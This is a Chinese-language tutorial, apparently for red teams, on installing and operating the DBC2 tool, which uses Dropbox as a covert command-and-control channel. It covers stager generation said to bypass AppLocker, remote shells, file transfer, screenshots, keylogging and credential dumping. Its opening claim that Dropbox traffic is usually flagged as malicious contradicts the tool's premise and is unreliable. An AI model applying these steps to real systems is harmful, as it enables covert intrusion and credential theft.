许多企业都将DropBox作为他们的共享和数据托管工具。因此,向DropBox服务器发送的流量通常会被限制或归类为恶意域。但DropBox的功能可能被一些恶意用户所利用,并将其作为C&C服务器来使用。
这可以通过DropBoxC2这款工具来实现,该工具使用DropBox API与其建立通信,由于它完全在内存中运行,并且流量被加密,因此难以被发现。
DropboxC2 控制器安装
- git clone https://github.com/Arno0x/DBC2 dbc2
- cd dbc2
- pip install -r requirements.txt
- chmod +x dropboxC2.py
因为两者间的通信是通过DropBox API实现的,因此我们首先需要来创建一个新的 应用程序 来生成API密钥。
为了避免后续使用的麻烦,我们直接在config.py文件(defaultAccessToken参数)中输入API密钥。这样,就不需要在每次启动DBC2时重复插入密钥了。
当DropBoxC2运行时,用户需要选择一个主密码,它将用于加密代理和控制器之间的所有数据。
Modules和Stage需要在使用之前先发布在DropBox上:
publishStage dbc2_agent.exe
DropBox上将生成一个文件,并被XOR加密。
DropBoxC2可以生成各种各样的stager,从简单的.bat文件到msbuild和sct文件,并可绕过AppLocker。从rubber ducky到macro,给予了红队多种利用场景的能力。
使用以下命令生成stagers:
- genStager oneliner default
- genStager batch default
从那刻起stager将在目标主机上被执行,开始beacon和生成Agent ID值并与 beacon(信标)相关联。
在DropBox上将生成两个文件,该文件将声明代理的状态以及要传递给目标的命令。这些文件的内容都是加密的,以保持通信的机密性。
之后我们可以使用Agent ID来与目标交互并执行命令。
DropBox C2还具有传输文件的功能,通过交互式shell执行PowerShell命令,可以从目标主机获取屏幕截图。它还支持键盘记录器功能。部分使用命令如下:
- sendFile
- getFile
- shell
- screenshot
此外,还可以使用各种PowerShell模块来执行其他任务,如获取反向shell,转储密码散列或从内存中检索明文密码。
或者,你也可以选择使用另外一个工具( DropBoxC2C ),它也可以将DropBox作为C&C服务器来使用。但是它更简单,并没有提供DBC2的功能。